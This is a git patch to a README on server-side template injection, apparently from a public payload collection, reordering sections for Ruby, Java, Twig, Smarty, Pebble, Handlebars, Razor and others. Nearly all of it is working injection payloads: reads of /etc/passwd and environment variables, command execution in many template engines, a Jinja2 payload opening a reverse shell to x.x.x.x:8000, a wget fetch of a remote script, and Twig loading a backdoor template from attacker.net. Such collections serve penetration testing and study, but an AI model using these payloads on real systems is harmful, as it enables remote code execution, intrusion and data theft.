From 030e53658612f04c366a2f92d3a45a739f434d9f Mon Sep 17 00:00:00 2001 From: Podalirius <79218792+p0dalirius@users.noreply.github.com> Date: Sun, 26 Sep 2021 21:37:05 +0200 Subject: [PATCH] Update README.md --- Server Side Template Injection/README.md | 403 ++++++++++++----------- 1 file changed, 210 insertions(+), 193 deletions(-) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index c8ffa041..e238b0e7 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -69,85 +69,32 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment --- -## Ruby +## ASP.NET Razor -### Ruby - Basic injections +### ASP.NET Razor - Basic injection -ERB: - -```ruby -<%= 7 * 7 %> -``` - -Slim: - -```ruby -#{ 7 * 7 } -``` - -### Ruby - Retrieve /etc/passwd - -```ruby -<%= File.open('/etc/passwd').read %> -``` - -### Ruby - List files and directories - -```ruby -<%= Dir.entries('/') %> -``` - -### Ruby - Code execution - -Execute code using SSTI for ERB engine. - -```ruby -<%= system('cat /etc/passwd') %> -<%= `ls /` %> -<%= IO.popen('ls /').readlines() %> -<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> -<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> -``` - - -Execute code using SSTI for Slim engine. +https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c ```powershell -#{ %x|env| } +@(1+2) ``` -## Java +### ASP.NET Razor - Command execution -### Java - Basic injection - -```java -${7*7} -${{7*7}} -${class.getClassLoader()} -${class.getResource("").getPath()} -${class.getResource("../../../../../index.htm").getContent()} +```csharp +@{ + // C# code +} ``` -### Java - Retrieve the system’s environment variables - -```java -${T(java.lang.System).getenv()} -``` - -### Java - Retrieve /etc/passwd - -```java -${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} - -${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} -``` +--- ## Expression Language EL ### Expression Language EL - Basic injection ```java -${1+1} +${1+1} #{1+1} ``` @@ -163,7 +110,6 @@ ${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".g ### Expression Language EL - Code Execution - ```java // Common RCE payloads ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec() @@ -192,65 +138,7 @@ ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().g ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))} ``` - -## Twig - -### Twig - Basic injection - -```python -{{7*7}} -{{7*'7'}} would result in 49 -{{dump(app)}} -{{app.request.server.all|join(',')}} -``` - -### Twig - Template format - -```python -$output = $twig > render ( - 'Dear' . $_GET['custom_greeting'], - array("first_name" => $user.first_name) -); - -$output = $twig > render ( - "Dear {first_name}", - array("first_name" => $user.first_name) -); -``` - -### Twig - Arbitrary File Reading - -```python -"{{'/etc/passwd'|file_excerpt(1,30)}}"@ -``` - -### Twig - Code execution - -```python -{{self}} -{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} -{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} -{{['id']|filter('system')}} -{{['cat\x20/etc/passwd']|filter('system')}} -{{['cat$IFS/etc/passwd']|filter('system')}} -``` - -Example with an email passing FILTER_VALIDATE_EMAIL PHP. - -```powershell -POST /subscribe?0=cat+/etc/passwd HTTP/1.1 -email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld -``` - -## Smarty - -```python -{$smarty.version} -{php}echo `id`;{/php} //deprecated in smarty v3 -{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} -{system('ls')} // compatible v3 -{system('cat index.php')} // compatible v3 -``` +--- ## Freemarker @@ -280,35 +168,65 @@ ${"freemarker.template.utility.Execute"?new()("id")} ${dwf.newInstance(ec,null)("id")} ``` -## Pebble +--- -### Pebble - Basic injection +## Handlebars -```java -{{ someString.toUPPERCASE() }} +### Handlebars - Command Execution + +```handlebars +{{#with "s" as |string|}} + {{#with "e"}} + {{#with split as |conslist|}} + {{this.pop}} + {{this.push (lookup string.sub "constructor")}} + {{this.pop}} + {{#with string.split as |codelist|}} + {{this.pop}} + {{this.push "return require('child_process').execSync('ls -la');"}} + {{this.pop}} + {{#each conslist}} + {{#with (string.sub.apply 0 codelist)}} + {{this}} + {{/with}} + {{/each}} + {{/with}} + {{/with}} + {{/with}} +{{/with}} ``` -### Pebble - Code execution +--- -Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`. +## Java -New version of Pebble : +### Java - Basic injection ```java -{% set cmd = 'id' %} -{% set bytes = (1).TYPE - .forName('java.lang.Runtime') - .methods[6] - .invoke(null,null) - .exec(cmd) - .inputStream - .readAllBytes() %} -{{ (1).TYPE - .forName('java.lang.String') - .constructors[0] - .newInstance(([bytes]).toArray()) }} +${7*7} +${{7*7}} +${class.getClassLoader()} +${class.getResource("").getPath()} +${class.getResource("../../../../../index.htm").getContent()} ``` +### Java - Retrieve the system’s environment variables + +```java +${T(java.lang.System).getenv()} +``` + +### Java - Retrieve /etc/passwd + +```java +${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} + +${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} +``` + +--- + + ## Jade / Codepen ```python @@ -350,7 +268,7 @@ ${x} ### Direct access to os from TemplateNamespace: -Any of these payloads allows direct access to the `os` module +Any of these payloads allows direct access to the `os` module ```python ${self.module.cache.util.os.system("id")} @@ -549,13 +467,13 @@ In another GET parameter include a variable named "input" that contains the comm ```python # evil config -{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} +{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host -{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} +{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} ``` @@ -608,7 +526,7 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by http Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) -### Jinjava - Command execution +### Jinjava - Command execution Fixed by https://github.com/HubSpot/jinjava/pull/230 @@ -619,54 +537,9 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} - {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` -## Handlebars - -### Handlebars - Command Execution - -```handlebars -{{#with "s" as |string|}} - {{#with "e"}} - {{#with split as |conslist|}} - {{this.pop}} - {{this.push (lookup string.sub "constructor")}} - {{this.pop}} - {{#with string.split as |codelist|}} - {{this.pop}} - {{this.push "return require('child_process').execSync('ls -la');"}} - {{this.pop}} - {{#each conslist}} - {{#with (string.sub.apply 0 codelist)}} - {{this}} - {{/with}} - {{/each}} - {{/with}} - {{/with}} - {{/with}} -{{/with}} -``` - -## ASP.NET Razor - -### ASP.NET Razor - Basic injection - -https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c - -```powershell -@(1+2) -``` - -### ASP.NET Razor - Command execution - -```csharp -@{ - // C# code -} -``` - --- ## Lessjs @@ -706,7 +579,7 @@ version 2 example RCE plugin: ```javascript functions.add('cmd', function(val) { return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`; -}); +}); ``` version 3 and above example RCE plugin @@ -723,6 +596,150 @@ registerPlugin({ --- +## Pebble + +### Pebble - Basic injection + +```java +{{ someString.toUPPERCASE() }} +``` + +### Pebble - Code execution + +Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`. + +New version of Pebble : + +```java +{% set cmd = 'id' %} +{% set bytes = (1).TYPE + .forName('java.lang.Runtime') + .methods[6] + .invoke(null,null) + .exec(cmd) + .inputStream + .readAllBytes() %} +{{ (1).TYPE + .forName('java.lang.String') + .constructors[0] + .newInstance(([bytes]).toArray()) }} +``` + +--- + +## Ruby + +### Ruby - Basic injections + +ERB: + +```ruby +<%= 7 * 7 %> +``` + +Slim: + +```ruby +#{ 7 * 7 } +``` + +### Ruby - Retrieve /etc/passwd + +```ruby +<%= File.open('/etc/passwd').read %> +``` + +### Ruby - List files and directories + +```ruby +<%= Dir.entries('/') %> +``` + +### Ruby - Code execution + +Execute code using SSTI for ERB engine. + +```ruby +<%= system('cat /etc/passwd') %> +<%= `ls /` %> +<%= IO.popen('ls /').readlines() %> +<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> +<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> +``` + + +Execute code using SSTI for Slim engine. + +```powershell +#{ %x|env| } +``` + + +--- + +## Smarty + +```python +{$smarty.version} +{php}echo `id`;{/php} //deprecated in smarty v3 +{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} +{system('ls')} // compatible v3 +{system('cat index.php')} // compatible v3 +``` + +--- + +## Twig + +### Twig - Basic injection + +```python +{{7*7}} +{{7*'7'}} would result in 49 +{{dump(app)}} +{{app.request.server.all|join(',')}} +``` + +### Twig - Template format + +```python +$output = $twig > render ( + 'Dear' . $_GET['custom_greeting'], + array("first_name" => $user.first_name) +); + +$output = $twig > render ( + "Dear {first_name}", + array("first_name" => $user.first_name) +); +``` + +### Twig - Arbitrary File Reading + +```python +"{{'/etc/passwd'|file_excerpt(1,30)}}"@ +``` + +### Twig - Code execution + +```python +{{self}} +{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} +{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} +{{['id']|filter('system')}} +{{['cat\x20/etc/passwd']|filter('system')}} +{{['cat$IFS/etc/passwd']|filter('system')}} +``` + +Example with an email passing FILTER_VALIDATE_EMAIL PHP. + +```powershell +POST /subscribe?0=cat+/etc/passwd HTTP/1.1 +email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld +``` + +--- + ## References * [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)